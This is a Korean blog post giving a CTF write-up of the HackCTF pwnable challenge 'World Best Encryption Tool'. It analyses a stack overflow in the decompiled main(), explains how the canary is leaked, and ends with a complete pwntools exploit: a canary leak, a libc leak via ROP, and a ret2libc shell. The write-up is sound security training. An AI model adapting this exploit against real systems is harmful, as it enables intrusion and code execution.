tmxklab

[HackCTF/Pwnable] World Best Encryption Tool 본문

War Game/HackCTF

[HackCTF/Pwnable] World Best Encryption Tool

tmxk4221 2020. 8. 15. 20:02

1. 문제

nc ctf.j0n9hyun.xyz 3027

 

1) mitigation 확인

 

2) 문제 확인

  • 입력을 하고 이상한 값이 출력되면서 종료된다.(?)

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int i; // [rsp+8h] [rbp-88h]
  char s1; // [rsp+Ch] [rbp-84h]
  char src[64]; // [rsp+10h] [rbp-80h]
  char dest; // [rsp+50h] [rbp-40h]
  unsigned __int64 v8; // [rsp+88h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  do
  {
    puts("Your text)");
    __isoc99_scanf("%s", src);
    for ( i = 0; i <= 0x31; ++i )
      src[i] ^= 0x1Cu;
    strncpy(&dest, src, 0x39uLL);
    printf("Encrypted text)\n%s", &dest);
    puts("\nWanna encrypt other text? (Yes/No)");
    __isoc99_scanf("%s", &s1);
  }
  while ( !strcmp(&s1, "Yes") );
  if ( strcmp(&s1, "No") )
    printf("It's not on the option");
  return 0;
}
  • scanf()를 통해 src변수에 문자열로 저장한다. → 문자열 길이 제한 없음, 취약점
  • for문이 0x32번 돌면서 src[i] = src[i] xor 0x1c한다.
  • dest변수에 0x39만큼 src변수에 저장된 값을 저장하고 dest 출력
  • scanf()를 통해 s1변수에 문자열로 저장한다. → 문자열 길이 제한 없음, 취약점
  • s1이 Yes면 do while문 처음으로 돌아가 다시 실행, 다른 값이면 종료

 

정리)

  • scanf로 src변수에 사이즈에 상관없이 입력 값을 받을 수 있다. → overflow발생
  • for문이 32번 돌면서 src[0] ~ src[31]까지 src에 0x1c와 xor한 값을 다시 저장한다.
  • strncpy로 src에 있는 값을 dest변수로 0x39bytes만큼 복사한다.
  • printf로 dest변수에 저장된 문자열 출력한다.

 


2. 접근방법

 

scanf를 통해 src[rbp-0x80]에 bof가 가능하지만 현재 canary가 걸려있는 상태이므로 카나리 값이 변조되면 stack_chk_fail함수가 호출된다.

 

 

1) scanf를 통해 src변수에 0x80만큼 값을 넣은 경우

  • canary[rbp-0x8] 값이 변경된 것을 확인할 수 있다.

 

2) for문 돌았을 때 상황

  • src[rbp-0x80]부터 src[rbp-0x4f]까지 총 0x32bytes값이 xor에 의해 변경됨

 

3) strncpy(dest, src, 0x39)호출 이후

  • dest변수로 0x39bytes만큼 값이 변경되어 있다.

 

4) stack_chk_fail

  • 카나리 값이 변조되었기 때문에 __stack_chk_fail()가 호출되어 스택 스매싱이 발견되었다고 뜨고 SIGABRT가 발생하면서 종료된다.

 

그럼 카나리 값이 변조되지 않고 bof를 수행하려면 카나리 값을 알아내어 카나리 위치에 [rbp-0x8]에 그대로 써주고 ret를 조작하면 될 것 같다.

 

처음 알게 된 사실인데 여기서 카나리 값의 하위 1byte는 항상 null값이다.

 

따라서, 만약 src[rbp-0x80]변수에 0x38만큼 값을 넣고 strncpy(dest, src, 0x39)을 수행하면 strcpy나 strncpy나 특성상 널 값이 존재할 때까지 읽어서 복사하므로 0x38만큼 복사하게 된다.

  • src변수에 0x38만큼 입력 값을 넣고 strncpy수행하였을 떄
  • dest변수에도 src값이 들어가며 카나리의 값은 변조되지 않았지만 하위 1byte가 널 값임을 확인

결국 다음 dest변수를 출력하게 되면 카나리 값까지 출력하지 않고 널 값이 존재하여 복사한 0x38만큼 출력하게 될 것이다.

 

따라서, 0x39만큼 src변수에 입력 값을 넣으면 dest변수를 출력할 때 카나리 값까지 포함하여 출력하게 된다.

 

 

공격 프로세스)

  • 카나리 값을 leak한다. → 다시 Yes를 입력하여 src입력 값을 받는다.
  • 알맞게 카나리 넣는 부분에 카나리 값을 넣고 rop를 하여 setvbuf 주소를 구한다.
  • 다시 메인함수로 돌아오면 카나리 넣는 부분에 카나리 값 넣고 rtl을 하여 system(binsh)를 실행한다.

 

참고로, 카나리 값의 하위 1byte는 널 바이트 고정이므로 릭하고 나서 하위 1byte를 널 값으로 만들어서 넣는다.

 


3. 풀이

 

1) 카나리 릭 확인

  • 카나리 leak 성공

 

2) setvbuf() 주소 릭하기 위한 가젯 구하기

  • pr : 0x4008e3

 

3) offset 구하기

  • setvbuf 주소 leak
  • setvbuf 하위 2bytes 0x7e70

  • setvbuf() offset : 0x06fe70
  • system() offset : 0x045390
  • binsh offset : 0x18cd57

 

4) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./world")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./world")
#gdb.attach(p, """b*0x4007d2""")

puts_plt = e.plt['puts']
setvbuf_got = e.got['setvbuf']
main_addr = e.symbols['main']
pr_addr = 0x4008e3
setvbuf_offset = 0x6fe70
system_offset = 0x45390
binsh_offset = 0x18cd57

log.info("puts@plt    : " +hex(puts_plt))
log.info("setvbuf@got  : " +hex(setvbuf_got))
log.info("main addr   : " +hex(main_addr))
log.info("pr addr     : " +hex(pr_addr))

# 1. canary leak
payload = "A"*0x37 + "BC"
p.sendlineafter("text)\n", payload)

p.recvuntil("B")
canary = u64(p.recv(8))
canary = canary & 0xffffffffffffff00 
log.info("Canary : "+hex(canary))

p.sendlineafter("No)\n", "Yes")

# 2. setvbuf addr leak
payload = "F"*0x38 +"\x00"
payload += "F"*(0x78-0x39)
payload += p64(canary)
payload += "A"*8
payload += p64(pr_addr)
payload += p64(setvbuf_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter("text)\n", payload)

p.sendlineafter("No)\n", "Nop")
p.recvuntil("option")

setvbuf_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = setvbuf_addr - setvbuf_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.info("libcbase addr : "+hex(libc_base))
log.info("setvbuf addr  : "+hex(setvbuf_addr))
log.info("setvbuf addr  : "+hex(setvbuf_addr))
log.info("system addr   : "+hex(system_addr))
log.info("binsh addr    : "+hex(binsh_addr))

# 3. RTL
payload = "F"*0x38 +"\x00"
payload += "F"*(0x78-0x39)
payload += p64(canary)
payload += "A"*8
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter("text)\n", payload)
p.sendlineafter("No)\n", "Nop")

p.interactive()

 

5) 실행 결과

 


4. 몰랐던 개념

1) 카나리에 대한 내용

 

03.Canaries - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Canaries Canaries 또는 Canary word는 버퍼 오버 플로우를 모니터하기 위해 버퍼와 제어 데이터 사이에 설정 된 값입니다.버퍼 오버플로가 발생하면 Canary ��

www.lazenca.net

위 링크를 참고해서 보니 항상 카나리 하위 1byte가 널 값은 아니다.

카나리에도 여러 종류가 있다는 것을 알았다.

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Unexploitable #2  (0) 2020.08.15
[HackCTF/Pwnable] 풍수지리설  (0) 2020.08.15
[HackCTF/Pwnable] register  (0) 2020.08.15
[HackCTF/Pwnable] rtc  (0) 2020.08.06
[HackCTF/Pwnable] sysrop  (0) 2020.08.06
Comments